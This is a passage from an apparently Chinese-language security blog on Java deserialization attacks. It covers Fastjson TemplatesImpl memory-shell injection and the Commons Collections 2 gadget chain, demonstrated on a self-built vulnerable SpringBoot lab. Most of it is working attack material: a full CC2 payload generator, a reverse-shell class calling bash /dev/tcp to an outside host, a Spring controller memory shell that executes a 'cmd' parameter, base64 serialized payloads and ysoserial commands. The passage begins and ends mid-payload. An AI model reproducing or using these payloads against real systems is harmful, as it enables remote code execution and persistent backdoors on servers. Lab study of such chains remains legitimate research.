5qZWN0VG9Db250cm9sbGVyLmphdmEMADoAOwcAvAwAvQC+AQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwC/DADAAMEBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAMIAwwEAMGNvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL0luamVjdFRvQ29udHJvbGxlcgEAD2phdmEvbGFuZy9DbGFzcwwAxADFAQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAEGphdmEvbGFuZy9TdHJpbmcBAAUvZXZpbAwAOgDGAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAA6AMcBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAA6AMgBAANhYWEMADoAUAwAyQDKAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwAywDMDADNAM4BAANjbWQHALgMAM8A0AcAuQwA0QDSAQAAAQAHb3MubmFtZQcA0wwA1ADQDADVANYBAAN3aW4MANcA2AEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADZANoHANsMANwA3QwAOgDeAQACXEEMAN8A4AwA4QDiDADjANYMAOQAOwcAugwA5QBQDADmADsMAOcA6AEAE2phdmEvbGFuZy9FeGNlcHRpb24MAOkAOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9QcmludFdyaXRlcgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQA7KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAPcmVnaXN0ZXJNYXBwaW5nAQBBKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgEAD3ByaW50U3RhY2tUcmFjZQAhAAgAOQAAAAAABQABADoAOwACADwAAAEFAAkACAAAAHEqtwABuAACEgMDuQAEAwDAAAVMKxIGuQAHAgDAAAZNEggSCQO9AAq2AAtOuwAMWQS9AA1ZAxIOU7cADzoEuwAQWQO9ABG3ABI6BbsAE1kZBBkFAQEBAQG3ABQ6BrsACFkSFbcAFjoHLBkGGQcttgAXsQAAAAIAPQAAACoACgAAABkABAAaABMAGwAfABwAKwAdAD0AHgBKAB8AXAAgAGcAIQBwACIAPgAAAFIACAAAAHEAPwBAAAAAEwBeAEEAQgABAB8AUgBDAEQAAgArAEYARQBGAAMAPQA0AEcASAAEAEoAJwBJAEoABQBcABUASwBMAAYAZwAKAE0AQAAHAE4AAAAEAAEATwABADoAUAACADwAAAA5AAEAAgAAAAUqtwABsQAAAAIAPQAAAAYAAQAAACQAPgAAABYAAgAAAAUAPwBAAAAAAAAFAFEAUgABAFMAAAAFAQBRAAAAAQBUADsAAQA8AAAB6QAGAAgAAADRuAACwAAYwAAYtgAZTLgAAsAAGMAAGLYAGk0rEhu5ABwCAE4suQAdAQA6BC3GAJMSHjoFEh+4ACC2ACESIrYAI5kAIbsAJFkGvQANWQMSJVNZBBImU1kFLVO3ACc6BqcAHrsAJFkGvQANWQMSKFNZBBIpU1kFLVO3ACc6BrsAKlkZBrYAK7YALLcALRIutgAvOgcZB7YAMJkACxkHtgAxpwAFGQU6BRkHtgAyGQQZBbYAMxkEtgA0GQS2ADWnAAwsEQGUuQA2AgCnAAhOLbYAOLEAAQAaAMgAywA3AAMAPQAAAFYAFQAAACcADQAoABoAKgAjACsAKwAsAC8ALQAzAC8AQwAwAGEAMgB8ADQAkgA1AKYANgCrADcAsgA4ALcAOQC8ADoAvwA7AMgAPwDLAD0AzAA+ANAAQAA+AAAAZgAKAF4AAwBVAFYABgAzAIkAVwBSAAUAfABAAFUAVgAGAJIAKgBYAFkABwAjAKUAWgBSAAMAKwCdAFsAXAAEAMwABABdAF4AAwAAANEAPwBAAAAADQDEAF8AYAABABoAtwBhAGIAAgBjAAAANgAI/wBhAAYHAGQHAGUHAGYHAGcHAGgHAGcAAPwAGgcAafwAJQcAakEHAGf4ABr5AAhCBwBrBAABAGwAbQADADwAAAA/AAAAAwAAAAGxAAAAAgA9AAAABgABAAAARQA+AAAAIAADAAAAAQA/AEAAAAAAAAEAbgBvAAEAAAABAHAAcQACAE4AAAAEAAEAcgBTAAAACQIAbgAAAHAAAAABAGwAcwADADwAAABJAAAABAAAAAGxAAAAAgA9AAAABgABAAAASgA+AAAAKgAEAAAAAQA/AEAAAAAAAAEAbgBvAAEAAAABAHQAdQACAAAAAQB2AHcAAwBOAAAABAABAHIAUwAAAA0DAG4AAAB0AAAAdgAAAAEAeAAAAAIAeQ==
D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization
λ

以上拿到生成内存马的恶意字节码后,同样通过 Fastjson 反序列化漏洞的接口发送 Payload(只需修改 “_bytecodes”,其它参数均保持不变即可):
imagepng
成功注入内存马,实现 RCE:
imagepng
imagepng
消灭内存马的方法,重启 SpringBoot 服务:
imagepng
至此,成功借助 Java 反序列化漏洞在无任何落地文件的情况下,通过恶意字节码注入 Java 内存马实现 RCE。

【More】上面构造的 Spring Controller 型内存马,为了兼容 TemplatesImpl 利用链,需要继承 AbstractTranslet 类,但是如果是通过 JNDI 注入字节码实现来完成 Fastjson 反序列化漏洞的内存马注入利用,则并不需要继承该类,可以参考《https://xz.aliyun.com/t/10467》,但本人实践后始终无法成功注入内存马(应该是中间哪个环境不匹配?用的 java-sec-code 环境 JDK1.8_102 + Fastjson 1.2.41),故此处不展开…

Java反序列化CC2链

实际上 Java 反序列化 CC2 链并不是非得结合 TemplatesImpl 链才能形成,只是在著名的 Java 反序列化利用工具 ysoserial 的 cc2 中引入了 TemplatesImpl 类来进行承载攻击 payload(需要用到 javassit),故将二者结合在了一起——引用自《通俗易懂的Java Commons Collection 2分析》。

3.1 CC2反序列化利用链

前面 2021 年通过《CommonCollections1反序列化利用链分析》学习过 Java 反序列化 CC1 利用链,CC1 链在实际利用过程存在一些限制,例如通过分析发现 jdk8u71 版本中改写了 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 方法,故 CC1 链在 jdk8u71 版本以上已经被修复了,因此 jdk8u71 版本后安全研究员们又重新构造了一条新的利用链(CC2 链)。

不过 CC2 链使用了 apache commons collections 组件 4.0 版本来进行构造,并没有使用 3.1 版本,故我们需要在构造 poc 的项目以及目标受害系统的 pom.xml 都提前导入对应的依赖:

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

先来直接看看利用 CC2 链注入打开计算器命令的 POC:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Main {
    public static void main(String[] args) throws Exception{
        //使用Javassist动态生成恶意字节码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass testCtClass = classPool.makeClass("TestCtClass");
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"gnome-calculator\");");
        byte[] bytes = testCtClass.toBytecode();
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");
        //构造利用链
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator =new TransformingComparator(transformer);
        //触发漏洞
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);
        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //队列至少需要2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

CC2 链的整体利用流程:

  1. 构造一个 TestTemplatesImpl 恶意类转成字节码,然后通过反射将恶意类的字节码注入到 TemplatesImpl 对象的_bytecodes属性(构造利用核心代码);
  2. 创建一个 InvokerTransformer 并传递一个 newTransformer 方法,然后将 InvokerTransformer 方法名传递给 TransformingComparator(这一步和 CC1 链非常相似)
  3. 通过反射构造 PriorityQueue 队列的 comparator 和 queue 两个字段,将 PriorityQueue 队列的 comparator 字段设置为 TransformingComparator,然后将 queue 字段设置为 TemplatesImpl 对象,触发利用链。

具体代码链路分析请参见《java反序列化CC2链分析》、《通俗易懂的Java Commons Collection 2分析》,此处不展开。

【靶场验证】

同样选择在 Ubuntu 虚拟机 IDEA 的 SpringBoot 项目自行搭建反序列化漏洞缺陷靶场,Java 版本:
imagepng
漏洞代码如下:

    @PostMapping("/admin/unserialize/bug")
    public void unSerialize(@RequestBody User user, HttpServletResponse response) throws IOException {
        System.out.println(user.toString());
        byte[] decodeStr = Base64.getDecoder().decode(user.getData());
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try {
            Object object = objectInputStream.readObject();
            response.getWriter().println(object);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } finally {
            objectInputStream.close();
        }
        response.getWriter().println("UnSerialize Test!");
    }

其中 User 类如下:

package com.tr0e.javaBug.entity;

import lombok.Data;
import java.io.Serializable;

@Data
public class User implements Serializable {
    private int age;

    private String name;

    private String data;
}

运行上述生成执行弹出计算器命令的 CC2 链 POC,将得到序列化后的文件 cc2.bin,进一步进行 base64 编码:

D:\Code\Java\Project\PomTest
λ cat cc2.bin | base64 | tr -d '\n'
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAbLK/rq+AAAANAAbAQALVGVzdEN0Q2xhc3MHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEFRlc3RDdENsYXNzLmphdmEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAHAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAwBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAOAA8KAA0AEAEAEGdub21lLWNhbGN1bGF0b3IIABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAUABUKAA0AFgEABjxpbml0PgwAGAAKCgAIABkAIQACAAgAAAAAAAIACAAJAAoAAQALAAAAFgACAAAAAAAKuAAREhO2ABdXsQAAAAAAAQAYAAoAAQALAAAAEQABAAEAAAAFKrcAGrEAAAAAAAEABQAAAAIABnB0ABFUZXN0VGVtcGxhdGVzSW1wbHB3AQB4cQB+ABF4
D:\Code\Java\Project\PomTest
λ

发送 Payload,成功触发命令执行,Ubuntu 中打开了计算器:
imagepng
imagepng

3.2 CC2链加载自定义类

上面演示了如何通过 CC2 链注入命令,下面看看借助 CC2 链加载自定义恶意类该如何实现。

恶意类先简单点,直接反弹 Shell:

package com.Tr0e.good.deserialization.Templates;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.Runtime;
import java.lang.Process;


public class TemplatesImplEvil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public TemplatesImplEvil() throws Exception  {
        super();
        //Runtime.getRuntime().exec("gnome-calculator");
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/1xx.168.xxx.xxx/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后通过 Javassist 生成字节码并构造 CC2 链的字节流 Payload:

public static void main(String[] args) throws Exception{
    //构造恶意类TestTemplatesImpl并转换为字节码
    ClassPool classPool = ClassPool.getDefault();
    CtClass ctClass = classPool.getCtClass("com.Tr0e.good.deserialization.Templates.TemplatesImplEvil");
    byte[] bytes = ctClass.toBytecode();
    //反射创建TemplatesImpl
    Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
    Object TemplatesImpl_instance = constructor.newInstance();
    //将恶意类的字节码设置给_bytecodes属性
    Field bytecodes = aClass.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
    //设置属性_name为恶意类名
    Field name = aClass.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(TemplatesImpl_instance , "TestTemplatesImpl");
    //构造利用链
    InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
    TransformingComparator transformer_comparator =new TransformingComparator(transformer);
    //触发漏洞
    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(1);
    //设置comparator属性
    Field field=queue.getClass().getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue,transformer_comparator);
    //设置queue属性
    field=queue.getClass().getDeclaredField("queue");
    field.setAccessible(true);
    //队列至少需要2个元素
    Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
    field.set(queue,objects);
    try{
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc222.bin"));
        outputStream.writeObject(queue);
        outputStream.close();
    }catch(Exception e){
        e.printStackTrace();
    }
}

将生成的 cc222.bin 进行 base64 编码后发送:

λ cat cc222.bin | base64 | tr -d '\n'
rO0ABXNyABdqYX……
D:\Code\Java\Project\PomTest
λ

imagepng
成功反弹 Shell:
imagepng
【More】 接下来介绍下 Y4er 大佬改造的 ysoserial:https://github.com/Y4er/ysoserial,它支持通过引入自定义 class 的形式来执行命令、内存马、反序列化回显,而原版的 https://github.com/frohoff/ysoserial 默认支持执行命令(java -jar ysoserial.jar [payload] '[command]')。

先编译 TemplatesImplEvil.java 获得字节码 TemplatesImplEvil.class,然后使用改造的 ysoserial 进行字节流转换和 base64 编码:

D:\Security\WebTools\ysoserial
λ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "FILE:D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization\Templates\TemplatesImplEvil.class" | base64 | tr -d '\n'
rO0ABXNyABdqYXZhLnV0aW……
D:\Security\WebTools\ysoserial
λ

传输 Payload,成功反弹 Shell:
imagepng
imagepng
以上过程实际上就是工具帮我们自动使用 Javassist 生成字节码并构造 CC2 链的 base64 格式字节流 Payload。

3.2 CC2链->注入内存马

前面是 Fastjson 反序列化漏洞通过 TemplatesImpl 利用链传输恶意字节码实现内存马的注入,下面来看看常规的反序列化漏洞如何也通过恶意字节码实现内存马的注入。

同样准备待注入的 Spring Controller 内存马:

package com.Tr0e.good.deserialization.Templates;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

/**
 * @author Tr0e
 */
public class InjectToController extends AbstractTranslet {

    public InjectToController() throws NoSuchMethodException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method2 = InjectToController.class.getMethod("exec");
        PatternsRequestCondition url = new PatternsRequestCondition("/evil");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }

    public InjectToController(String arg) {}

    public void exec(){
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder("cmd.exe", "/c", arg0);
                }else{
                    p = new java.lang.ProcessBuilder("/bin/sh", "-c", arg0);
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后 3.2 章节提供的两种方法(手动生成 CC2 字节流 Base64 Payload、或者借助改版的 ysoserial:https://github.com/Y4er/ysoserial)生成 Payload 即可,此处选择手动版加深印象,调整下 ctClass:

public static void main(String[] args) throws Exception{
    //构造恶意类TestTemplatesImpl并转换为字节码
    ClassPool classPool = ClassPool.getDefault();
    CtClass ctClass = classPool.getCtClass("com.Tr0e.good.deserialization.Templates.InjectToController");
    byte[] bytes = ctClass.toBytecode();
    //反射创建TemplatesImpl
    Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
    Object TemplatesImpl_instance = constructor.newInstance();
    //将恶意类的字节码设置给_bytecodes属性
    Field bytecodes = aClass.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
    //设置属性_name为恶意类名
    Field name = aClass.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(TemplatesImpl_instance , "TestTemplatesImpl");
    //构造利用链
    InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
    TransformingComparator transformer_comparator =new TransformingComparator(transformer);
    //触发漏洞
    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(1);
    //设置comparator属性
    Field field=queue.getClass().getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue,transformer_comparator);
    //设置queue属性
    field=queue.getClass().getDeclaredField("queue");
    field.setAccessible(true);
    //队列至少需要2个元素
    Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
    field.set(queue,objects);
    try{
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2_success.bin"));
        outputStream.writeObject(queue);
        outputStream.close();
    }catch(Exception e){
        e.printStackTrace();
    }
}

生成最终的 base64 Payload:

λ cat cc2_success.bin  | base64 | tr -d '\n'
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdH